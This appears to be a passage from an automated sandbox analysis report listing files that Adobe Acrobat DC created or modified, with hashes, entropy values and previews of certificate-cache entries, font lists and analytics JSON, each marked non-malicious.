SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklv3IdG+EttfllXlE/HT8khLhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKcteT8odVNMa8RdWBwRd
MD5:	FDB306D6160AABB47884FC632160E9FA
SHA1:	1220589C8FC403EA5DD1C83E1E39E71378B5B094
SHA-256:	DE8677474F6FDBD7A35F76FD0EE24E0ECBB19EEF954B9AD54ECD3D05AD9CC7E6
SHA-512:	EC71BE27A85A2A9C03C3ECD0034BBAF65FE3C3A6DF3739A754181F055C5D1B58D8D72550703084069E0C99F526F9ED381C1C846BC69F4D64BC6954072ACE4B27
Malicious:	false
Preview:	p...... ........\....c..(....................................................... ..........W.....L..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2175376354855065
Encrypted:	false
SSDEEP:	6:kK5L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:BiDImsLNkPlE99SNxAhUe/3
MD5:	A65886BD2CB0BF05BD95868881801CCA
SHA1:	CCFE2B07577B0FF61A2CF338C2E2833E2D50C461
SHA-256:	D5A9E949A4514066B4F579D2E3670D73B0086688E5F6114E59A7961BFC62678B
SHA-512:	680BF61D4BB9796788F5D612453E77380FC4E7E47C68FE46326FDD9E0915AEDF37C0EA1C83B6E953A67732D971821EBC7B8CD581D050F33A22F10EA9AB3EB394
Malicious:	false
Preview:	p...... ........(....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8128

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8128

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361759255187167
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJM3g98kUwPeUkwRe9:YvXKXcFMR2vR/ZwHAhGMbLUkee9
MD5:	305B51B8DCEB4AE16149A0E569062BA1
SHA1:	DFA9BAF72FA70A37487D1101BA9ED4343652694D
SHA-256:	9EEB391AB104B88C2EDA585E543134D978C57B660EFDE0694BC0628943BE96F3
SHA-512:	21B80593F8AAE1CF78A81A9AEB0559DB2927A494AF9889735EB8B19B4AC497FDED4F6D4777BE44F9770153657B0A2BA6D75A3758F6D9F3DB488DB1F128AEC650
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2949238647191255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfBoTfXpnrPeUkwRe9:YvXKXcFMR2vR/ZwHAhGWTfXcUkee9
MD5:	A44B108FFC4E0926E340113A7694D0F9
SHA1:	A13F7CFB63DD0E417247CDC162D4E0BE387D94F2
SHA-256:	B06F1283FBD2C9FE26A4A2111F641BA0FBF28B715C3B9EA80BFCB7720A0ADAE9
SHA-512:	44CB9621713127791A2E9764DF2E4B4212C58BA8777249F52AA7E942E100798ED1BE008C09D0DECEB08DE3DEA22DF2A08340A685C450FBDD5662BD4D23D18A8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273918900114202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXcFMR2vR/ZwHAhGR22cUkee9
MD5:	A62F123418540B716F9D8742B4FBFF30
SHA1:	FC371C191BA5A13DCC7824DC614C19BF77A0977C
SHA-256:	2A31AC43BA60929334FF6BA680127E35B91EC7B8A53BBD70DC62321BAAF71395
SHA-512:	4617E967F149CC7DCDDE0BE499981F9A1A37240D16D02C6D633CFCCAE9625C9EA4FB72747755AAF6480E39B85A1D81C9BD13DC0CB944C824957FF08342F72152
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.338651516429654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfPmwrPeUkwRe9:YvXKXcFMR2vR/ZwHAhGH56Ukee9
MD5:	285A2D441570A501DE18875D766CC180
SHA1:	77606C3830F352861AAD95DC79E53C024C94EEFA
SHA-256:	9EFB4E9A35B64B19B868A33D2C1996D801353E47A81BCF7D258BF0F25D24C9E2
SHA-512:	CF5CACC6AB733A314F9CDCC430E49E4EBB98ECDAC7422CD0731B5D0A92DCDBE752910069F7653934B3E63CCA4FEE323BAA8AD5A3C604CA4D1F43BA6B152F9B73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693510835409195
Encrypted:	false
SSDEEP:	24:Yv6XcFMR2Jh6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSy:YvRFM8Jh6hgy6SAFv5Ah8cv/y
MD5:	370BDF36B9588E76F6E141FE781DF459
SHA1:	A77375838C2F78B95C1B8AD44DC22FC26B8FE557
SHA-256:	96F7B830DE58D95E53B23A69BC8E69C071D21BDE4A82F5BBB9833BAF6B4997C7
SHA-512:	9BFD552CF64EECCAEBC6717C00873AC921E91BA1D2F8F25D56AC8E2AF22FCADC0B7A8F24CFF23943DAE14099B1A307E1E3849EB09D5A067D35B70BFCECF2CA31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285506792950513
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJf8dPeUkwRe9:YvXKXcFMR2vR/ZwHAhGU8Ukee9
MD5:	D5C1A145DE0A9ADA72291188785539E8
SHA1:	0F0585E139814E67C4257C65976F042D31F960FE
SHA-256:	55AA5792B22D928C69E4104E8F572064E596A10738637875B3F645CE28D77B8B
SHA-512:	9632530CFB831CB63293BD5328E8A8B458D3A46101FA1E149FEEBA288694A6D7D6F4937A8CC4D6D2246B048459B30941A9121A57B8433E53EFE9B8B1F20760CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.284043864008792
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfQ1rPeUkwRe9:YvXKXcFMR2vR/ZwHAhGY16Ukee9
MD5:	7870BDE0152184BA10A0760D691353B8
SHA1:	2C60035DBC06F06A4B8CFB38BE847800C0023538
SHA-256:	0CB87E1BE786658DF1354621ADA59026497B0DF7B6A74660624914460343B65D
SHA-512:	F339E04DFA9697B8A77E1F7C2BE3CA23188053DC277AF21C7B54F21D84668F9E0AE9460B7D573BC53618820AC67C4026B9A3CEEC5B738E37DEFE9FDDD685B1E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298638432175111
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfFldPeUkwRe9:YvXKXcFMR2vR/ZwHAhGz8Ukee9
MD5:	EFE30D6C79E3F04699FD10AEE57F75BE
SHA1:	69CB46E58751BDF0D4CAF849886E7B7F6F994A0F
SHA-256:	8E8AF23BCE6238A01206629C6D679F42DAAD61161687695C1E032320D978F1C1
SHA-512:	672F1B225F32793534AF024E32FA0EE7B5D9F462295D6E15526FDB875E19D4943A6029DEB53C7703B974C0497CAB25D82A970C1F7BA02D066FF2AD115CC2129C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313331355459329
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfzdPeUkwRe9:YvXKXcFMR2vR/ZwHAhGb8Ukee9
MD5:	2777264DAC6ECA343BD3F49B4E30E9AF
SHA1:	A7CCE2CB4B04D5A8F354E09C10806A72E24B450E
SHA-256:	757C37BFD2829B5D52758CDEB8FBC3DD406D1B344DA79A50879C8B8A66104437
SHA-512:	D22858F80F8D5D7D431FC053AEF6F90FA784A1880B1C98D228EB8EDBC20B5AD66ACB5159BBAB12B97D6CEF20CEFA802FD771A91BBAE76B1D9C0EE31BFEAC3126
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293849860887842
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJfYdPeUkwRe9:YvXKXcFMR2vR/ZwHAhGg8Ukee9
MD5:	41ED2CAC1330BA9B802ED70CE0E013DD
SHA1:	B5434ACCB7748595FEF0E703434E94271AA33736
SHA-256:	C69B7CC893B59DFCAA2BE9B8E46307FBB23C15A869D68736C41EA0BF4D7E573F
SHA-512:	8137EF6FAA48561654F5DF4BE1183F757F24FB4D465BB84B1C4D9F90843B84F268784CEB87D570764A842FE1F7E2E8A4BE1FC024174F9DAB5FCE9BDD423C23AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280090947541311
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHEXHBFCzR2vB3/dVlPIHAR0YjHKoAvJf+dPeUkwRe9:YvXKXcFMR2vR/ZwHAhG28Ukee9
MD5:	CA69446F4B3E38747C2C440D212E52F1
SHA1:	026774B25BCF1F5F9D9F4DE243498BB5CD6654CE
SHA-256:	817325E6B7F77069F3800E26781B929F695CE8FAE42D2FE5931AAEC655923228
SHA-512:	CB01A092307969C343D4E7AFFE1D418E435AF8D0D7A696E48444A7AFD6FB66BD4F2254D1034C86FB7C210888C4FFF9A843C715C6E682961491D95E872BD20DBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0a25cf54-f1ee-4b6b-8adf-1d2f3d409b1f","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736757557088,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

